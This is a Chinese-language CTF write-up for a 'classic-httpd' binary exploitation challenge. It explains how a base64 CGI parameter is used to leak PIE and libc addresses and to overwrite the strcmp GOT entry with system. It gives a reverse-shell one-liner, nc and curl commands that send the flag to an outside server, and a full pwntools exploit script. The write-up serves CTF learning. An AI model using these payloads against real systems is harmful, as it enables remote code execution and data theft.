通过classic-httpd
学习入门httpd-pwn
classic-httpd
题目是64位elf,保护为Partial RELO
,意味着got
表可写,其他保护全开。
初步分析
一般httpd程序的执行流程为
- 在main函数中用pthread或fork来进入HTTP请求处理函数
- 在HTTP请求处理函数中,过滤掉不合法的请求协议(通常只接受GET/POST)和请求目录(通常过滤掉含有”..”的url,使我们不能访问
xxx.com/../flag
来直接读取flag) - 根据请求url,跳转到对应的cgi函数或文件读取函数
程序只有3个可以访问的路径,/htdocs/index.html
、/htdocs/welcome.cgi
、/htdocs/submit.cgi
,前两个路径都只会返回/htdocs/index.html
文件内容,我们重点分析第三个cgi
经过逆向,我们发现submit.cgi
以GET
方式接受一个base64
加密后的字符串,字符串原文必须类似以下结构
int num;
struct payload
{
int code;
int arg[6];
}payloads[8];
结构体中code
决定走向哪一个功能分支,我们发现有输出功能、泄露制定地址功能、任意地址内容泄露功能、任意地址写功能以及一个输出功能,并且功能的使用顺序有一定的限制。
利用思路
我们先创建/htdocs/index.html
来保证程序能够正常运行。
不难想到通过指定地址泄露功能来拿到pie
地址,再通过任意地址内容泄露功能打印出got
表内容来泄露libc
基地址,如果为传统pwn,我们就可以任意地址写修改hook
为one_gadget
或修改got
表来运行system("cat flag")
拿flag走人,但别忘了在httpd-pwn中,我们与程序的交互有socket
的隔阂,我们只能获取到程序通过socket
发送的内容,程序的输出对我们来说并不可见。
反弹flag方法
既然我们在socket
语境下,那我们也用socket
的方法解决问题。
首先我们需要控制程序流,我们注意到在输出功能中有一个strcmp
函数以用户输入的字符串为参数,那我们就可以修改其为system
函数来执行命令,我们就可以尝试反弹shell、反弹flag、写flag进文件的方法了。
- 反弹shell
- 首先我们需要一台公网服务器,其ip假定为 1.1.1.1,我们登录服务器并运行命令
nc -lvp 4444
- 在受害者的电脑上运行命令
bash -i >& /dev/tcp/1.1.1.1/4444 0>&1
,在此题语境下为执行system("bash -i >& /dev/tcp/1.1.1.1/4444 0>&1");
(下略) - 我们可以看到服务器上出现了受害者的shell,cat flag即可
- 首先我们需要一台公网服务器,其ip假定为 1.1.1.1,我们登录服务器并运行命令
- 反弹flag到nc
- 我们需要一台公网服务器,其ip假定为 1.1.1.1,我们登录服务器并运行命令
nc -lvp 4444
- 在受害者的电脑上运行命令
cat flag|nc 1.1.1.1 4444
- 服务器上接收到flag
- 我们需要一台公网服务器,其ip假定为 1.1.1.1,我们登录服务器并运行命令
- 反弹flag到http服务器
- 我们依然需要一台公网服务器并有一个http服务器运行在80端口,ip假定为 1.1.1.1
-
执行
curl http://1.1.1.1/`cat flag`
(注意命令中的反引号) - 登录服务器,查看日志,获取flag
- 写flag到文件
- 直接执行
cat flag > /htdocs/index.html
- 正常访问
/htdocs/index.html
即可 程序在docker环境里一般没有写权限,所以这种方法成功率并不高
- 直接执行
利用命令执行拿flag的方法还有很多,这里就不一一细举了,具体使用需要依赖题目环境等,希望能对刚刚接触http-pwn的读者有所启发。
完整exploit
from pwn import *
import base64
import requests
context(arch='amd64',os='linux',log_level='debug')
elf=ELF('./httpd')
libc=ELF('./glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
url='http://localhost:4000/submit.cgi'
def make(con):
return base64.b64encode(con)
payload=p32(1)+p32(102)+p32(0)
s=requests.get(url,params=make(payload))
res=s.text
print(res)
pie=int(res[27:39],16)-0x4008
print("[+]pie->"+hex(pie))
payload=p32(1)+p32(136)+p64(pie+elf.got['printf'])+p64(0)
s=requests.get(url,params=make(payload))
res=s.text
print(res)
libc_base=int(res[40:52],16)-libc.sym['printf']
print("[+]libc_base->"+hex(libc_base))
shell=b'curl http://xx.xx/`cat flag`'
payload=p32(2)+p32(241)+p64(pie+elf.got['strcmp'])+p64(0)+p64(libc_base+libc.sym['system'])+p32(34)+shell
s=requests.get(url,params=make(payload))
res=s.text
print(res)
Tips
泄露远程libc版本后,可以使用glibc-all-in-one下载带符号表的libc
文件帮助调试。